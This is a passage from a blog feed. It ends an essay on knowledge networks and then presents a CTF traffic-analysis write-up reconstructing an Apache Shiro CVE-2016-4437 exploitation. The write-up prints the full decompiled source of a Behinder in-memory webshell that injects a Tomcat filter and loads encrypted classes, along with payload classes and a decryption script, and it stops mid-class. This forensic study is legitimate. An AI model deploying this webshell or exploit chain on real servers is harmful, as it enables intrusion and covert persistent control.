&lt;li&gt;&lt;strong&gt;语义网络与知识图谱&lt;/strong&gt;：怎样区分“是一种”“是一部分”“可以推导出”和“让我联想到”等不同关系？上面的模型把它们放在一起，可能掩盖了重要差别。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;建构主义&lt;/strong&gt;：怎样区分接触过信息、理解它和能在新问题中使用它？主动或被动学习，也不一定能简单对应为有连接或孤立的节点。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;复杂网络&lt;/strong&gt;：如果想讨论无标度或层次模块等性质，需要怎样的数据和检验？目前的示意图还不能证明人的知识结构具有这些性质。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;能联想到这些方向，让我觉得这次思考值得继续。不过，AI 给出的肯定本身不是论据；上面的树和网络暂时只是帮助我整理个人经验的一种比喻。&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;写这篇文章，也是想记录下自己brainstorm的一次经历。我觉得它的价值不在于最后的模型，而是建构和推理的过程。&lt;br /&gt;
P.S. 我不是专业的心理学家或者思想家，只是一个普普通通的计算机学生。这篇文章纯粹是自己思考的时候突然想到。若存在逻辑漏洞还请各位大佬手下留情~&lt;/p&gt;
</content:encoded></item><item><title>2026软件系统安全赛 - 流量分析traffic_hunt - WriteUp</title><link>https://blog.iyoroy.cn/posts/260/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/260/</guid><description>2026 软件系统安全赛 traffic_hunt 题解，沿抓包还原 Shiro 利用、冰蝎内存马和载荷上传过程，再解密自定义 Shell 的通信提取 flag。</description><pubDate>Sun, 15 Mar 2026 12:20:00 GMT</pubDate><content:encoded>&lt;h1&gt;第一层: Apache Shiro CVE-2016-4437&lt;/h1&gt;
&lt;p&gt;打开&lt;code&gt;pcapng&lt;/code&gt;抓包文件，发现大部分都是HTTP。尝试过滤所有HTTP请求：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;_ws.col.protocol == &quot;HTTP&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现前面都是&lt;code&gt;GET&lt;/code&gt;扫描。后面有几个&lt;code&gt;POST&lt;/code&gt;传递到了相同的路径&lt;code&gt;/favicondemo.ico&lt;/code&gt;，打开发现携带Payload：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /favicondemo.ico HTTP/1.1
...

eSG4ePsiwcRpTl8psR0ZbvQKhUKWCbEYAvU/JyGXXqr9DBZr...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;尝试直接Base64解密，发现疑似加密了，无法解密。推测前面还有一部分挂马之类的处理。
尝试过滤所有&lt;code&gt;POST&lt;/code&gt;请求：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http.request.method == &quot;POST&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现第5009个HTTP流&lt;code&gt;POST&lt;/code&gt;向了&lt;code&gt;/&lt;/code&gt;，打开发现：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET / HTTP/1.1
Cookie: rememberMe=u5tKw/P2yG/b6D2LV3ALwGCfb8PsolbgWKkRVXLmAxz/o+0S1XodwNI7QhoBclf1eYgDhRg6oGcg/91vpFMLEozcWHp89rOoNGI+QB5tuxwyl3pqomtWZfydxMpuNmfjFgFOvMwNq9EHwZJ/l5+UrxevXyLxgp0dlgzoAPJVRFAcAEAzZ2BjJRhVSEJTEHqL
...
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;HTTP/1.1 302
Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0; Expires=Mon, 05-Jan-2026 05:54:56 GMT
Location: http://10.1.33.69:8080/login
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;等等一系列请求。
根据其&lt;code&gt;JSESSIONID&lt;/code&gt;可知是Java后端，根据&lt;code&gt;rememberMe=deleteMe&lt;/code&gt;可知这是在尝试利用Apache Shiro的反序列化漏洞（CVE-2016-4437）。前面部分在进行爆破，尝试得到其AES加密的Key。往后翻，可找到：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET / HTTP/1.1
Cookie: rememberMe=39kG6QV4e6yKVk5izql0TAG8PY/lia9KErrRuLjj+bBlO5CC+5Do9W6XnTCNtK5ZfFcS+Cbornnr/Zj0xiyigR228Lh4HCcjOJI7j+yWPDs6PjmaHaDHGte58v+RwwSnxWsgCK1T3UEVesTB0YlR8hGmC6k1skwQEbZpapvpLBa6HdqHQM0OborIzk8GzM4X
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;服务端返回：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;HTTP/1.1 302
Location: http://10.1.33.69:8080/login
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;没有再&lt;code&gt;Set-Cookie&lt;/code&gt;，表明这里已经成功碰撞出了AES密钥。往后还有&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET / HTTP/1.1
Cookie: rememberMe=D5RAhUGqvWLViba9P...h92mxoUt9p
Authorization: Basic d2hvYW1p
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;服务端返回：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;HTTP/1.1 200
...

$$$cm9vdAo=$$$
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对&lt;code&gt;cm9vdAo=&lt;/code&gt;进行Base64解密，可得到：&lt;code&gt;root&lt;/code&gt;，对&lt;code&gt;Authorization&lt;/code&gt;头里的&lt;code&gt;d2hvYW1p&lt;/code&gt;解密，可得到&lt;code&gt;whoami&lt;/code&gt;，发现这里已经实现了RCE。
随后分别执行并返回了：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwd
/

ls -la
total 21844
drwxr-xr-x   1 root root     4096 Jan  6 03:43 .
drwxr-xr-x   1 root root     4096 Jan  6 03:43 ..
-rwxr-xr-x   1 root root        0 Jan  6 03:43 .dockerenv
drwxr-xr-x   1 root root     4096 Oct 21  2016 bin
drwxr-xr-x   2 root root     4096 Sep 12  2016 boot
drwxr-xr-x   5 root root      340 Jan  6 03:43 dev
drwxr-xr-x   1 root root     4096 Jan  6 03:43 etc
drwxr-xr-x   2 root root     4096 Sep 12  2016 home
drwxr-xr-x   1 root root     4096 Oct 31  2016 lib
drwxr-xr-x   2 root root     4096 Oct 20  2016 lib64
drwxr-xr-x   2 root root     4096 Oct 20  2016 media
drwxr-xr-x   2 root root     4096 Oct 20  2016 mnt
drwxr-xr-x   2 root root     4096 Oct 20  2016 opt
dr-xr-xr-x 167 root root        0 Jan  6 03:43 proc
drwx------   2 root root     4096 Oct 20  2016 root
drwxr-xr-x   3 root root     4096 Oct 20  2016 run
drwxr-xr-x   2 root root     4096 Oct 20  2016 sbin
-rw-r--r--   1 root root 22290368 Dec 19  2019 shirodemo-1.0-SNAPSHOT.jar
drwxr-xr-x   2 root root     4096 Oct 20  2016 srv
dr-xr-xr-x  13 root root        0 Jan  6 03:43 sys
drwxrwxrwt   1 root root     4096 Jan  6 03:43 tmp
drwxr-xr-x   1 root root     4096 Oct 31  2016 usr
drwxr-xr-x   1 root root     4096 Oct 31  2016 var

w
 05:56:48 up 9 days,  2:03,  0 users,  load average: 1.44, 0.84, 0.33
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现并没有什么有用的信息。
之后发送了一个：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST / HTTP/1.1
...
Cookie: rememberMe=YoANb79EEs8RT9LYVMfOgU1OPqUGfQkiNLKLem...J1I/ASq9A==
p: HWmc2TLDoihdlr0N
path: /favicondemo.ico
...

user=yv66vgAAADQB5...GCQ%3D%3D
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;服务端返回了：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;HTTP/1.1 200
Content-Type: text/html;charset=UTF-8
Transfer-Encoding: chunked
Date: Tue, 06 Jan 2026 05:57:43 GMT
Connection: close

-&amp;gt;|Success|&amp;lt;-
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;之后就没有类似的包了，推测是挂了个马。&lt;/p&gt;
&lt;h1&gt;第二层: 冰蝎 WebShell 内存马&lt;/h1&gt;
&lt;p&gt;对上面&lt;code&gt;POST&lt;/code&gt;请求体的&lt;code&gt;user&lt;/code&gt;参数直接进行Base64解密可发现是&lt;code&gt;CAFEBABE&lt;/code&gt;开头的Java类，导出后尝试使用Jadx打开，可得到：
&lt;img src=&quot;./images/2026/03/1875533597.png&quot; alt=&quot;Pasted image 20260314123043.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;代码部分 - 点击展开&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package com.summersec.x;

import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.math.BigInteger;
import java.security.InvalidKeyException;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.EnumSet;
import java.util.HashMap;
import java.util.Map;
import javax.crypto.Cipher;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.DispatcherType;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.FilterRegistration;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletRequestWrapper;
import javax.servlet.ServletResponse;
import javax.servlet.ServletResponseWrapper;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.apache.catalina.LifecycleState;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.ResponseFacade;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.util.LifecycleBase;
  
/* loaded from: download.class */
public final class BehinderFilter extends ClassLoader implements Filter {
    public HttpServletRequest request;
    public HttpServletResponse response;
    public String cs;
    public String Pwd;
    public String path;

    public BehinderFilter() {
        this.request = null;
        this.response = null;
        this.cs = &quot;UTF-8&quot;;
        this.Pwd = &quot;eac9fa38330a7535&quot;;
        this.path = &quot;/favicondemo.ico&quot;;
    }
  
    public BehinderFilter(ClassLoader c) {
        super(c);
        this.request = null;
        this.response = null;
        this.cs = &quot;UTF-8&quot;;
        this.Pwd = &quot;eac9fa38330a7535&quot;;
        this.path = &quot;/favicondemo.ico&quot;;
    }
  
    public Class g(byte[] b) {
        return super.defineClass(b, 0, b.length);
    }
  
    public static String md5(String s) throws NoSuchAlgorithmException {
        String ret = null;
        try {
            MessageDigest m = MessageDigest.getInstance(&quot;MD5&quot;);
            m.update(s.getBytes(), 0, s.length());
            ret = new BigInteger(1, m.digest()).toString(16).substring(0, 16);
        } catch (Exception e) {
        }
        return ret;
    }
  
    public boolean equals(Object obj) throws NoSuchFieldException, ClassNotFoundException {
        parseObj(obj);
        this.Pwd = md5(this.request.getHeader(&quot;p&quot;));
        this.path = this.request.getHeader(&quot;path&quot;);
        StringBuffer output = new StringBuffer();
        try {
            this.response.setContentType(&quot;text/html&quot;);
            this.request.setCharacterEncoding(this.cs);
            this.response.setCharacterEncoding(this.cs);
            output.append(addFilter());
        } catch (Exception var7) {
            output.append(&quot;ERROR:// &quot; + var7.toString());
        }
        try {
            this.response.getWriter().print(&quot;-&amp;gt;|&quot; + output.toString() + &quot;|&amp;lt;-&quot;);
            this.response.getWriter().flush();
            this.response.getWriter().close();
            return true;
        } catch (Exception e) {
            return true;
        }
    }
  
    public void parseObj(Object obj) throws NoSuchFieldException, ClassNotFoundException {
        if (obj.getClass().isArray()) {
            Object[] data = (Object[]) obj;
            this.request = (HttpServletRequest) data[0];
            this.response = (HttpServletResponse) data[1];
            return;
        }
        try {
            Class clazz = Class.forName(&quot;javax.servlet.jsp.PageContext&quot;);
            this.request = (HttpServletRequest) clazz.getDeclaredMethod(&quot;getRequest&quot;, new Class[0]).invoke(obj, new Object[0]);
            this.response = (HttpServletResponse) clazz.getDeclaredMethod(&quot;getResponse&quot;, new Class[0]).invoke(obj, new Object[0]);
        } catch (Exception e) {
            if (obj instanceof HttpServletRequest) {
                this.request = (HttpServletRequest) obj;
                try {
                    Field req = this.request.getClass().getDeclaredField(&quot;request&quot;);
                    req.setAccessible(true);
                    HttpServletRequest request2 = (HttpServletRequest) req.get(this.request);
                    Field resp = request2.getClass().getDeclaredField(&quot;response&quot;);
                    resp.setAccessible(true);
                    this.response = (HttpServletResponse) resp.get(request2);
                } catch (Exception e2) {
                    try {
                        this.response = (HttpServletResponse) this.request.getClass().getDeclaredMethod(&quot;getResponse&quot;, new Class[0]).invoke(obj, new Object[0]);
                    } catch (Exception e3) {
                    }
                }
            }
        }
    }
  
    public String addFilter() throws Exception {
        Class filterMap;
        ServletContext servletContext = this.request.getServletContext();
        String filterName = this.path;
        String url = this.path;
        if (servletContext.getFilterRegistration(filterName) == null) {
            StandardContext standardContext = null;
            Field stateField = null;
            try {
                try {
                    Field contextField = servletContext.getClass().getDeclaredField(&quot;context&quot;);
                    contextField.setAccessible(true);
                    ApplicationContext applicationContext = (ApplicationContext) contextField.get(servletContext);
                    Field contextField2 = applicationContext.getClass().getDeclaredField(&quot;context&quot;);
                    contextField2.setAccessible(true);
                    standardContext = (StandardContext) contextField2.get(applicationContext);
                    stateField = LifecycleBase.class.getDeclaredField(&quot;state&quot;);
                    stateField.setAccessible(true);
                    stateField.set(standardContext, LifecycleState.STARTING_PREP);
                    FilterRegistration.Dynamic filterRegistration = servletContext.addFilter(filterName, this);
                    filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, new String[]{url});
                    Method filterStartMethod = StandardContext.class.getMethod(&quot;filterStart&quot;, new Class[0]);
                    filterStartMethod.setAccessible(true);
                    filterStartMethod.invoke(standardContext, (Object[]) null);
                    stateField.set(standardContext, LifecycleState.STARTED);
                    try {
                        filterMap = Class.forName(&quot;org.apache.tomcat.util.descriptor.web.FilterMap&quot;);
                    } catch (Exception e) {
                        filterMap = Class.forName(&quot;org.apache.catalina.deploy.FilterMap&quot;);
                    }
                    Method findFilterMaps = standardContext.getClass().getMethod(&quot;findFilterMaps&quot;, new Class[0]);
                    Object[] filterMaps = (Object[]) findFilterMaps.invoke(standardContext, new Object[0]);
                    for (int i = 0; i &amp;lt; filterMaps.length; i++) {
                        Object filterMapObj = filterMaps[i];
                        Method findFilterMaps2 = filterMap.getMethod(&quot;getFilterName&quot;, new Class[0]);
                        String name = (String) findFilterMaps2.invoke(filterMapObj, new Object[0]);
                        if (name.equalsIgnoreCase(filterName)) {
                            filterMaps[i] = filterMaps[0];
                            filterMaps[0] = filterMapObj;
                        }
                    }
                    stateField.set(standardContext, LifecycleState.STARTED);
                    return &quot;Success&quot;;
                } catch (Exception var22) {
                    String var11 = var22.getMessage();
                    stateField.set(standardContext, LifecycleState.STARTED);
                    return var11;
                }
            } catch (Throwable th) {
                stateField.set(standardContext, LifecycleState.STARTED);
                throw th;
            }
        }
        return &quot;Filter already exists&quot;;
    }
  
    /* JADX WARN: Multi-variable type inference failed */
    public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IllegalAccessException, NoSuchPaddingException, ServletException, NoSuchMethodException, NoSuchAlgorithmException, SecurityException, InvalidKeyException, IOException, IllegalArgumentException, InvocationTargetException {
        HttpSession session = ((HttpServletRequest) req).getSession();
        ServletRequest servletRequestInvoke = req;
        ServletResponse servletResponseInvoke = resp;
        if (!(servletRequestInvoke instanceof RequestFacade)) {
            try {
                Method getRequest = ServletRequestWrapper.class.getMethod(&quot;getRequest&quot;, new Class[0]);
                servletRequestInvoke = getRequest.invoke(this.request, new Object[0]);
                while (!(servletRequestInvoke instanceof RequestFacade)) {
                    servletRequestInvoke = getRequest.invoke(servletRequestInvoke, new Object[0]);
                }
            } catch (Exception e) {
            }
        }
        try {
            if (!(servletResponseInvoke instanceof ResponseFacade)) {
                Method getResponse = ServletResponseWrapper.class.getMethod(&quot;getResponse&quot;, new Class[0]);
                servletResponseInvoke = getResponse.invoke(this.response, new Object[0]);
                while (!(servletResponseInvoke instanceof ResponseFacade)) {
                    servletResponseInvoke = getResponse.invoke(servletResponseInvoke, new Object[0]);
                }
            }
        } catch (Exception e2) {
        }
        Map obj = new HashMap();
        obj.put(&quot;request&quot;, servletRequestInvoke);
        obj.put(&quot;response&quot;, servletResponseInvoke);
        obj.put(&quot;session&quot;, session);
        try {
            session.putValue(&quot;u&quot;, this.Pwd);
            Cipher c = Cipher.getInstance(&quot;AES&quot;);
            c.init(2, new SecretKeySpec(this.Pwd.getBytes(), &quot;AES&quot;));
            new BehinderFilter(getClass().getClassLoader()).g(c.doFinal(base64Decode(req.getReader().readLine()))).newInstance().equals(obj);
        } catch (Exception var7) {
            var7.printStackTrace();
        }
    }
  
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName(&quot;sun.misc.BASE64Decoder&quot;);
            return (byte[]) clazz.getMethod(&quot;decodeBuffer&quot;, String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Object decoder = Class.forName(&quot;java.util.Base64&quot;).getMethod(&quot;getDecoder&quot;, new Class[0]).invoke(null, new Object[0]);
            return (byte[]) decoder.getClass().getMethod(&quot;decode&quot;, String.class).invoke(decoder, str);
        }
    }
  
    public void init(FilterConfig filterConfig) throws ServletException {
    }
  
    public void destroy() {
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现是个冰蝎Behinder WebShell。分析可知它会将请求内容和返回值通过AES加密/解密，同时若请求头中携带&lt;code&gt;p&lt;/code&gt;，就将&lt;code&gt;p&lt;/code&gt;的内容md5加密之后取前16位作为AES密钥。&lt;br /&gt;
根据上面的请求内容可知&lt;code&gt;p: HWmc2TLDoihdlr0N&lt;/code&gt;，md5加密得到&lt;code&gt;1f2c8075acd3d118674e99f8e61b9596&lt;/code&gt;，取前16位即&lt;code&gt;1f2c8075acd3d118&lt;/code&gt;就是AES密码。&lt;br /&gt;
同时，设置了&lt;code&gt;/favicondemo.ico&lt;/code&gt;作为C2通信地址，这也就说明之前看到的下面的这个URL的POST数据是这里通信的记录。&lt;/p&gt;
&lt;p&gt;接着打开之前找到的&lt;code&gt;POST&lt;/code&gt;抓包，发现第40552个HTTP Stream内包含大量往返。&lt;br /&gt;
编写一个Python脚本尝试以密钥&lt;code&gt;1f2c8075acd3d118&lt;/code&gt;解密其中第1个请求的Payload：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import Crypto.Cipher
from Crypto.Cipher import AES
import base64

def decrypt_behinder(data, key_str):
    key = key_str.encode(&apos;utf-8&apos;)
    raw_data = base64.b64decode(data)
    cipher = AES.new(key, AES.MODE_ECB)
    decrypted = cipher.decrypt(raw_data)
    # 去除 PKCS5Padding
    padding_len = decrypted[-1]
    return decrypted[:-padding_len]

key = &quot;1f2c8075acd3d118&quot;
body = &quot;qjYfBvYIRKQ...ciIgehs=&quot;

data=decrypt_behinder(body, key)
print(data)
with open(f&quot;payload2.bin&quot;, &quot;wb&quot;) as file:
	file.write(data) 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现开头&lt;code&gt;CAFEBABE&lt;/code&gt;是Java Class的文件头。用Jadx打开：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;代码部分 - 点击展开&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;内容很长，不想看可以折叠&lt;/em&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package net.qmrqiui;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.LinkedHashMap;
import java.util.Map;
import java.util.Random;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;

/* compiled from: Echo.java */
/* loaded from: payload-favicondemo.ico.class */
public class Fmdrfajtrr {
    public static String content;
    public static String payloadBody;
    private Object Request;
    private Object Response;
    private Object Session;

    private byte[] Encrypt(byte[] bArr) throws Exception {
        SecretKeySpec secretKeySpec = new SecretKeySpec(&quot;1f2c8075acd3d118&quot;.getBytes(&quot;utf-8&quot;), &quot;AES&quot;);
        Cipher cipher = Cipher.getInstance(&quot;AES/ECB/PKCS5Padding&quot;);
        cipher.init(1, secretKeySpec);
        byte[] bArrDoFinal = cipher.doFinal(bArr);
        try {
            Class&amp;lt;?&amp;gt; cls = Class.forName(&quot;java.util.Base64&quot;);
            Object objInvoke = cls.getMethod(&quot;getEncoder&quot;, null).invoke(cls, null);
            bArrDoFinal = (byte[]) objInvoke.getClass().getMethod(&quot;encode&quot;, byte[].class).invoke(objInvoke, bArrDoFinal);
        } catch (Throwable th) {
            Object objNewInstance = Class.forName(&quot;sun.misc.BASE64Encoder&quot;).newInstance();
            bArrDoFinal = ((String) objNewInstance.getClass().getMethod(&quot;encode&quot;, byte[].class).invoke(objNewInstance, bArrDoFinal)).replace(&quot;\n&quot;, &quot;&quot;).replace(&quot;\r&quot;, &quot;&quot;).getBytes();
        }
        return bArrDoFinal;
    }

    public Fmdrfajtrr() {
        content = &quot;&quot;;
        content += &quot;1oMRO2dvZFDzLDMX8hNiYBh2qzBvSzSi1EaD2vCMM7Q8kxqxrX085JlqFrt40qku6RCR0D0JF3tPc5fYUWW5Op0YP9hLpG8MPlgtOpMYbdDH1iGmuWO75I3XVO9evcyqhb19Sk3Et99wkKl5fsYAWZKEofJmsis7Vv2uCRwGbsE6LvpmqNGvJnB3v&quot;;
    }

    public boolean equals(Object obj) throws IllegalAccessException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException {
        Map&amp;lt;String, String&amp;gt; result = new LinkedHashMap&amp;lt;&amp;gt;();
        try {
            try {
                fillContext(obj);
                result.put(&quot;status&quot;, &quot;success&quot;);
                result.put(&quot;msg&quot;, content);
                try {
                    Object so = this.Response.getClass().getMethod(&quot;getOutputStream&quot;, new Class[0]).invoke(this.Response, new Object[0]);
                    Method write = so.getClass().getMethod(&quot;write&quot;, byte[].class);
                    write.invoke(so, Encrypt(buildJson(result, true).getBytes(&quot;UTF-8&quot;)));
                    so.getClass().getMethod(&quot;flush&quot;, new Class[0]).invoke(so, new Object[0]);
                    so.getClass().getMethod(&quot;close&quot;, new Class[0]).invoke(so, new Object[0]);
                    return true;
                } catch (Exception e) {
                    e.printStackTrace();
                    return true;
                }
            } catch (Exception e2) {
                result.put(&quot;msg&quot;, e2.getMessage());
                result.put(&quot;status&quot;, &quot;success&quot;);
                try {
                    Object so2 = this.Response.getClass().getMethod(&quot;getOutputStream&quot;, new Class[0]).invoke(this.Response, new Object[0]);
                    Method write2 = so2.getClass().getMethod(&quot;write&quot;, byte[].class);
                    write2.invoke(so2, Encrypt(buildJson(result, true).getBytes(&quot;UTF-8&quot;)));
                    so2.getClass().getMethod(&quot;flush&quot;, new Class[0]).invoke(so2, new Object[0]);
                    so2.getClass().getMethod(&quot;close&quot;, new Class[0]).invoke(so2, new Object[0]);
                    return true;
                } catch (Exception e3) {
                    e3.printStackTrace();
                    return true;
                }
            }
        } catch (Throwable th) {
            try {
                Object so3 = this.Response.getClass().getMethod(&quot;getOutputStream&quot;, new Class[0]).invoke(this.Response, new Object[0]);
                Method write3 = so3.getClass().getMethod(&quot;write&quot;, byte[].class);
                write3.invoke(so3, Encrypt(buildJson(result, true).getBytes(&quot;UTF-8&quot;)));
                so3.getClass().getMethod(&quot;flush&quot;, new Class[0]).invoke(so3, new Object[0]);
                so3.getClass().getMethod(&quot;close&quot;, new Class[0]).invoke(so3, new Object[0]);
            } catch (Exception e4) {
                e4.printStackTrace();
            }
            throw th;
        }
    }

    private String buildJson(Map&amp;lt;String, String&amp;gt; entity, boolean encode) throws Exception {
        StringBuilder sb = new StringBuilder();
        System.getProperty(&quot;java.version&quot;);
        sb.append(&quot;{&quot;);
        for (String key : entity.keySet()) {
            sb.append(&quot;\&quot;&quot; + key + &quot;\&quot;:\&quot;&quot;);
            String value = entity.get(key);
            if (encode) {
                value = base64encode(value.getBytes());
            }
            sb.append(value);
            sb.append(&quot;\&quot;,&quot;);
        }
        if (sb.toString().endsWith(&quot;,&quot;)) {
            sb.setLength(sb.length() - 1);
        }
        sb.append(&quot;}&quot;);
        return sb.toString();
    }

    private void fillContext(Object obj) throws Exception {
        if (obj.getClass().getName().indexOf(&quot;PageContext&quot;) &amp;gt;= 0) {
            this.Request = obj.getClass().getMethod(&quot;getRequest&quot;, new Class[0]).invoke(obj, new Object[0]);
            this.Response = obj.getClass().getMethod(&quot;getResponse&quot;, new Class[0]).invoke(obj, new Object[0]);
            this.Session = obj.getClass().getMethod(&quot;getSession&quot;, new Class[0]).invoke(obj, new Object[0]);
        } else {
            Map&amp;lt;String, Object&amp;gt; objMap = (Map) obj;
            this.Session = objMap.get(&quot;session&quot;);
            this.Response = objMap.get(&quot;response&quot;);
            this.Request = objMap.get(&quot;request&quot;);
        }
        this.Response.getClass().getMethod(&quot;setCharacterEncoding&quot;, String.class).invoke(this.Response, &quot;UTF-8&quot;);
    }

    private String base64encode(byte[] data) throws Exception {
        String result;
        System.getProperty(&quot;java.version&quot;);
        try {
            getClass();
            Class Base64 = Class.forName(&quot;java.util.Base64&quot;);
            Object Encoder = Base64.getMethod(&quot;getEncoder&quot;, null).invoke(Base64, null);
            result = (String) Encoder.getClass().getMethod(&quot;encodeToString&quot;, byte[].class).invoke(Encoder, data);
        } catch (Throwable th) {
            getClass();
            Object Encoder2 = Class.forName(&quot;sun.misc.BASE64Encoder&quot;).newInstance();
            String result2 = (String) Encoder2.getClass().getMethod(&quot;encode&quot;, byte[].class).invoke(Encoder2, data);
            result = result2.replace(&quot;\n&quot;, &quot;&quot;).replace(&quot;\r&quot;, &quot;&quot;);
        }
        return result;
    }

    private byte[] getMagic() throws Exception {
        String key = this.Session.getClass().getMethod(&quot;getAttribute&quot;, String.class).invoke(this.Session, &quot;u&quot;).toString();
        int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16;
        Random random = new Random();
        byte[] buf = new byte[magicNum];
        for (int i = 0; i &amp;lt; buf.length; i++) {
            buf[i] = (byte) random.nextInt(256);
        }
        return buf;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现只是返回一串&lt;code&gt;1oMRO2dvZFDzLDMX8h...mqNGvJnB3v&lt;/code&gt;数据并base64加密。继续解密回包，得到：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{&quot;status&quot;:&quot;c3VjY2Vzcw==&quot;,&quot;msg&quot;:&quot;MW9NUk8yZHZaRkR6TERNWDhoTmlZQmgycXpCdlN6U2kxRWFEMnZDTU03UThreHF4clgwODVKbHFGcnQ0MHFrdTZSQ1IwRDBKRjN0UGM1ZllVV1c1T3AwWVA5aExwRzhNUGxndE9wTVliZERIMWlHbXVXTzc1STNYVk85ZXZjeXFoYjE5U2szRXQ5OXdrS2w1ZnNZQVdaS0VvZkptc2lzN1Z2MnVDUndHYnNFNkx2cG1xTkd2Sm5CM3Y=&quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;msg&lt;/code&gt;字段Base64解密得到：&lt;code&gt;1oMRO2dvZFDzLDMX8hNiYBh2qzBvSzSi1EaD2vCMM7Q8kxqxrX085JlqFrt40qku6RCR0D0JF3tPc5fYUWW5Op0YP9hLpG8MPlgtOpMYbdDH1iGmuWO75I3XVO9evcyqhb19Sk3Et99wkKl5fsYAWZKEofJmsis7Vv2uCRwGbsE6LvpmqNGvJnB3v&lt;/code&gt;，证明猜想正确。&lt;/p&gt;
&lt;p&gt;接着继续解密并逆向第二个请求：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;代码部分 - 点击展开&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;内容很长，不想看可以折叠&lt;/em&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package org.arkpoti.qegfs;

import java.io.File;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.Inet4Address;
import java.net.InetAddress;
import java.net.NetworkInterface;
import java.net.SocketException;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.Map;
import java.util.Properties;
import java.util.Random;
import java.util.Set;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;

/* compiled from: BasicInfo.java */
/* loaded from: payload-favicondemo(2).ico.class */
public class Huhmocmx {
    public static String whatever;
    private Object Request;
    private Object Response;
    private Object Session;

    private byte[] Encrypt(byte[] bArr) throws Exception {
        SecretKeySpec secretKeySpec = new SecretKeySpec(&quot;1f2c8075acd3d118&quot;.getBytes(&quot;utf-8&quot;), &quot;AES&quot;);
        Cipher cipher = Cipher.getInstance(&quot;AES/ECB/PKCS5Padding&quot;);
        cipher.init(1, secretKeySpec);
        byte[] bArrDoFinal = cipher.doFinal(bArr);
        try {
            Class&amp;lt;?&amp;gt; cls = Class.forName(&quot;java.util.Base64&quot;);
            Object objInvoke = cls.getMethod(&quot;getEncoder&quot;, null).invoke(cls, null);
            bArrDoFinal = (byte[]) objInvoke.getClass().getMethod(&quot;encode&quot;, byte[].class).invoke(objInvoke, bArrDoFinal);
        } catch (Throwable th) {
            Object objNewInstance = Class.forName(&quot;sun.misc.BASE64Encoder&quot;).newInstance();
            bArrDoFinal = ((String) objNewInstance.getClass().getMethod(&quot;encode&quot;, byte[].class).invoke(objNewInstance, bArrDoFinal)).replace(&quot;\n&quot;, &quot;&quot;).replace(&quot;\r&quot;, &quot;&quot;).getBytes();
        }
        return bArrDoFinal;
    }

    public Huhmocmx() {
        whatever = &quot;&quot;;
